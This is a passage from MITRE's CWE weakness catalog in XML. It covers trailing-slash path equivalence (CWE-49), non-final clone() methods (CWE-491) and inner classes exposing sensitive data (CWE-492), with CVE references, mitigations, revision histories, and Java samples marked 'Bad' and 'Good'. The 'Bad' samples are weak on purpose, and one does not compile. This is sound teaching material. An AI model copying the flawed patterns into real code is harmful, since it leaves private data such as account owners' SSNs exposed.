               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>KDM Analytics</Modification_Organization>
               <Modification_Date>2008-08-01</Modification_Date>
               <Modification_Comment>added/updated white box definitions</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Description, Modes_of_Introduction, Other_Notes, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Relationships, White_Box_Definitions</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Weakness_Ordinalities</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Name, References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Alternate_Terms</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Description, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2020-02-24">Leftover Debug Code</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="49" Name="Path Equivalence: 'filename/' (Trailing Slash)" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product accepts path input in the form of trailing slash ('filedir/') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="41" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="162" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Files or Directories</Impact>
               <Impact>Modify Files or Directories</Impact>
            </Consequence>
         </Common_Consequences>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-0253</Reference>
               <Description>Overlaps infoleak</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0253</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0446</Reference>
               <Description>Application server allows remote attackers to read source code for .jsp files by appending a / to the requested URL.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0446</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0334</Reference>
               <Description>Bypass Basic Authentication for files using trailing "/"</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0334</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0893</Reference>
               <Description>Read sensitive files with trailing "/"</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0893</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0892</Reference>
               <Description>Web server allows remote attackers to view sensitive files under the document root (such as .htpasswd) via a GET request with a trailing /.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0892</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-1814</Reference>
               <Description>Directory traversal vulnerability in server allows remote attackers to read protected files via .. (dot dot) sequences in an HTTP request.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-1814</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>BID:3518</Reference>
               <Description>Source code disclosure</Description>
               <Link>http://www.securityfocus.com/bid/3518</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>filedir/ (trailing slash, trailing /)</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP16</Entry_ID>
               <Entry_Name>Path Traversal</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Path Issue - Trailing Slash - filedir/</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="491" Name="Public cloneable() Method Without Final ('Object Hijack')" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>A class has a cloneable() method that is not declared final, which allows an object to be created without calling the constructor. This can cause the object to be in an unexpected state.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="668" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="Java" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Other</Scope>
               <Impact>Unexpected State</Impact>
               <Impact>Varies by Context</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Make the cloneable() method final.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In this example, a public class "BankAccount" implements the cloneable() method which declares "Object clone(string accountnumber)":</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public class BankAccount implements Cloneable{<xhtml:div style="margin-left:1em;">
                        <xhtml:div>public Object clone(String accountnumber) throws<xhtml:br/>CloneNotSupportedException<xhtml:br/>{<xhtml:div style="margin-left:1em;">
                              <xhtml:div>Object returnMe = new BankAccount(account number);<xhtml:br/>...<xhtml:br/>
                              </xhtml:div>
                           </xhtml:div>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>In the example below, a clone() method is defined without being declared final.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>protected Object clone() throws CloneNotSupportedException {<xhtml:div style="margin-left:1em;">...</xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Mobile Code: Object Hijack</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>OBJ07-J</Entry_ID>
               <Entry_Name>Sensitive classes must not let themselves be copied</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP28</Entry_ID>
               <Entry_Name>Unexpected access points</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-6"/>
            <Reference External_Reference_ID="REF-453"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated References, Demonstrative_Example, Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, References, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Mobile Code: Object Hijack</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-05-27">Public cloneable() Method Without Final (aka 'Object Hijack')</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="492" Name="Use of Inner Class Containing Sensitive Data" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>Inner classes are translated into classes that are accessible at package scope and may expose code that the programmer intended to keep private to attackers.</Description>
         <Extended_Description>Inner classes quietly introduce several security concerns because of the way they are translated into Java bytecode. In Java source code, it appears that an inner class can be declared to be accessible only by the enclosing class, but Java bytecode has no concept of an inner class, so the compiler must transform an inner class declaration into a peer class with package level access to the original outer class. More insidiously, since an inner class can access private fields in its enclosing class, once an inner class becomes a peer class in bytecode, the compiler converts private fields accessed by the inner class into protected fields.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="668" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="Java" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
               <Note>"Inner Classes" data confidentiality aspects can often be overcome.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Using sealed classes protects object-oriented encapsulation paradigms and therefore protects code from being extended in unforeseen ways.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Inner Classes do not provide security. Warning: Never reduce the security of the object from an outer class, going to an inner class. If an outer class is final or private, ensure that its inner class is private as well.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following Java Applet code mistakenly makes use of an inner class.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public final class urlTool extends Applet {<xhtml:div style="margin-left:1em;">private final class urlHelper {<xhtml:div style="margin-left:1em;">...</xhtml:div>}<xhtml:br/>...</xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>The following example shows a basic use of inner classes. The class OuterClass contains the private member inner class InnerClass. The private inner class InnerClass includes the method concat that accesses the private member variables of the class OuterClass to output the value of one of the private member variables of the class OuterClass and returns a string that is a concatenation of one of the private member variables of the class OuterClass, the separator input parameter of the method and the private member variable of the class InnerClass.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public class OuterClass {<xhtml:div style="margin-left:1em;">
                        <xhtml:i>// private member variables of OuterClass</xhtml:i>
                        <xhtml:br/>private String memberOne;<xhtml:br/>private String memberTwo;<xhtml:br/>
                        <xhtml:br/>
                        <xhtml:i>// constructor of OuterClass</xhtml:i>
                        <xhtml:br/>public OuterClass(String varOne, String varTwo) {<xhtml:div style="margin-left:1em;">this.memberOne = varOne;<xhtml:br/>this.memberTwo = varTwo;</xhtml:div>}<xhtml:br/>
                        <xhtml:br/>
                        <xhtml:i>// InnerClass is a member inner class of OuterClass</xhtml:i>
                        <xhtml:br/>private class InnerClass {<xhtml:div style="margin-left:1em;">private String innerMemberOne;<xhtml:br/>
                           <xhtml:br/>public InnerClass(String innerVarOne) {<xhtml:div style="margin-left:1em;">this.innerMemberOne = innerVarOne;</xhtml:div>}<xhtml:br/>
                           <xhtml:br/>public String concat(String separator) {<xhtml:div style="margin-left:1em;">
                              <xhtml:i>// InnerClass has access to private member variables of OuterClass</xhtml:i>
                              <xhtml:br/>System.out.println("Value of memberOne is: " + memberOne);<xhtml:br/>return OuterClass.this.memberTwo + separator + this.innerMemberOne;</xhtml:div>}</xhtml:div>}</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>Although this is an acceptable use of inner classes it demonstrates one of the weaknesses of inner classes that inner classes have complete access to all member variables and methods of the enclosing class even those that are declared private and protected. When inner classes are compiled and translated into Java bytecode the JVM treats the inner class as a peer class with package level access to the enclosing class.</Body_Text>
               <Body_Text>To avoid this weakness of inner classes, consider using either static inner classes, local inner classes, or anonymous inner classes.</Body_Text>
               <Body_Text>The following Java example demonstrates the use of static inner classes using the previous example. The inner class InnerClass is declared using the static modifier that signifies that InnerClass is a static member of the enclosing class OuterClass. By declaring an inner class as a static member of the enclosing class, the inner class can only access other static members and methods of the enclosing class and prevents the inner class from accessing nonstatic member variables and methods of the enclosing class. In this case the inner class InnerClass can only access the static member variable memberTwo of the enclosing class OuterClass but cannot access the nonstatic member variable memberOne.</Body_Text>
               <Example_Code Nature="Good" Language="Java">
                  <xhtml:div>public class OuterClass {<xhtml:br/>
                     <xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>// private member variables of OuterClass</xhtml:i>
                           <xhtml:br/>private String memberOne;<xhtml:br/>private static String memberTwo;<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// constructor of OuterClass</xhtml:i>
                           <xhtml:br/>public OuterClass(String varOne, String varTwo) {<xhtml:br/>
                           <xhtml:div style="margin-left:1em;">this.memberOne = varOne;<xhtml:br/>this.memberTwo = varTwo;</xhtml:div>}<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// InnerClass is a static inner class of OuterClass</xhtml:i>
                           <xhtml:br/>private static class InnerClass {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>private String innerMemberOne;<xhtml:br/>
                                 <xhtml:br/>public InnerClass(String innerVarOne) {<xhtml:div style="margin-left:1em;">this.innerMemberOne = innerVarOne;</xhtml:div>}<xhtml:br/>public String concat(String separator) {<xhtml:div style="margin-left:1em;">
                                    <xhtml:div>
                                       <xhtml:i>// InnerClass only has access to static member variables of OuterClass</xhtml:i>
                                       <xhtml:br/>return memberTwo + separator + this.innerMemberOne;</xhtml:div>
                                 </xhtml:div>}</xhtml:div>
                           </xhtml:div>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The only limitation with using a static inner class is that as a static member of the enclosing class the inner class does not have a reference to instances of the enclosing class. For many situations this may not be ideal. An alternative is to use a local inner class or an anonymous inner class as shown in the next examples.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>In the following example the BankAccount class contains the private member inner class InterestAdder that adds interest to the bank account balance. The start method of the BankAccount class creates an object of the inner class InterestAdder, the InterestAdder inner class implements the ActionListener interface with the method actionPerformed. A Timer object created within the start method of the BankAccount class invokes the actionPerformed method of the InterestAdder class every 30 days to add the interest to the bank account balance based on the interest rate passed to the start method as an input parameter. The inner class InterestAdder needs access to the private member variable balance of the BankAccount class in order to add the interest to the bank account balance.</Intro_Text>
               <Body_Text>However as demonstrated in the previous example, because InterestAdder is a non-static member inner class of the BankAccount class, InterestAdder also has access to the private member variables of the BankAccount class - including the sensitive data contained in the private member variables for the bank account owner's name, Social Security number, and the bank account number.</Body_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public class BankAccount {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>// private member variables of BankAccount class</xhtml:i>
                           <xhtml:br/>private String accountOwnerName;<xhtml:br/>private String accountOwnerSSN;<xhtml:br/>private int accountNumber;<xhtml:br/>private double balance;<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// constructor for BankAccount class</xhtml:i>
                           <xhtml:br/>public BankAccount(String accountOwnerName, String accountOwnerSSN,<xhtml:br/>int accountNumber, double initialBalance, int initialRate)<xhtml:br/>{<xhtml:div style="margin-left:1em;">this.accountOwnerName = accountOwnerName;<xhtml:br/>this.accountOwnerSSN = accountOwnerSSN;<xhtml:br/>this.accountNumber = accountNumber;<xhtml:br/>this.balance = initialBalance;<xhtml:br/>this.start(initialRate);</xhtml:div>}<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// start method will add interest to balance every 30 days</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// creates timer object and interest adding action listener object</xhtml:i>
                           <xhtml:br/>public void start(double rate)<xhtml:br/>{<xhtml:div style="margin-left:1em;">ActionListener adder = new InterestAdder(rate);<xhtml:br/>Timer t = new Timer(1000 * 3600 * 24 * 30, adder);<xhtml:br/>t.start();</xhtml:div>}<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// InterestAdder is an inner class of BankAccount class</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// that implements the ActionListener interface</xhtml:i>
                           <xhtml:br/>private class InterestAdder implements ActionListener<xhtml:br/>{<xhtml:div style="margin-left:1em;">
                              <xhtml:div>private double rate;<xhtml:br/>
                                 <xhtml:br/>public InterestAdder(double aRate)<xhtml:br/>{<xhtml:div style="margin-left:1em;">this.rate = aRate;</xhtml:div>}<xhtml:br/>
                                 <xhtml:br/>public void actionPerformed(ActionEvent event)<xhtml:br/>{<xhtml:div style="margin-left:1em;">
                                    <xhtml:div>
                                       <xhtml:i>// update interest</xhtml:i>
                                       <xhtml:br/>double interest = BankAccount.this.balance * rate / 100;<xhtml:br/>BankAccount.this.balance += interest;</xhtml:div>
                                 </xhtml:div>}<xhtml:br/>
                              </xhtml:div>
                           </xhtml:div>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>In the following example the InterestAdder class from the above example is declared locally within the start method of the BankAccount class. As a local inner class InterestAdder has its scope restricted to the method (or enclosing block) where it is declared, in this case only the start method has access to the inner class InterestAdder, no other classes including the enclosing class has knowledge of the inner class outside of the start method. This allows the inner class to access private member variables of the enclosing class but only within the scope of the enclosing method or block.</Body_Text>
               <Example_Code Nature="Good" Language="Java">
                  <xhtml:div>public class BankAccount {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>// private member variables of BankAccount class</xhtml:i>
                           <xhtml:br/>private String accountOwnerName;<xhtml:br/>private String accountOwnerSSN;<xhtml:br/>private int accountNumber;<xhtml:br/>private double balance;<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// constructor for BankAccount class</xhtml:i>
                           <xhtml:br/>public BankAccount(String accountOwnerName, String accountOwnerSSN,<xhtml:br/>int accountNumber, double initialBalance, int initialRate)<xhtml:br/>{<xhtml:div style="margin-left:1em;">this.accountOwnerName = accountOwnerName;<xhtml:br/>this.accountOwnerSSN = accountOwnerSSN;<xhtml:br/>this.accountNumber = accountNumber;<xhtml:br/>this.balance = initialBalance;<xhtml:br/>this.start(initialRate);</xhtml:div>}<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// start method will add interest to balance every 30 days</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// creates timer object and interest adding action listener object</xhtml:i>
                           <xhtml:br/>public void start(final double rate)<xhtml:br/>{<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>
                                 <xhtml:i>// InterestAdder is a local inner class</xhtml:i>
                                 <xhtml:br/>
                                 <xhtml:br/>
                                 <xhtml:i>// that implements the ActionListener interface</xhtml:i>
                                 <xhtml:br/>class InterestAdder implements ActionListener<xhtml:br/>{<xhtml:div style="margin-left:1em;">
                                    <xhtml:div>public void actionPerformed(ActionEvent event)<xhtml:br/>{<xhtml:div style="margin-left:1em;">
                                          <xhtml:div>
                                             <xhtml:i>// update interest</xhtml:i>
                                             <xhtml:br/>double interest = BankAccount.this.balance * rate / 100;<xhtml:br/>BankAccount.this.balance += interest;</xhtml:div>
                                       </xhtml:div>}</xhtml:div>
                                 </xhtml:div>}<xhtml:br/>ActionListener adder = new InterestAdder();<xhtml:br/>Timer t = new Timer(1000 * 3600 * 24 * 30, adder);<xhtml:br/>t.start();</xhtml:div>
                           </xhtml:div>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>A similar approach would be to use an anonymous inner class as demonstrated in the next example. An anonymous inner class is declared without a name and creates only a single instance of the inner class object. As in the previous example the anonymous inner class has its scope restricted to the start method of the BankAccount class.</Body_Text>
               <Example_Code Nature="Good" Language="Java">
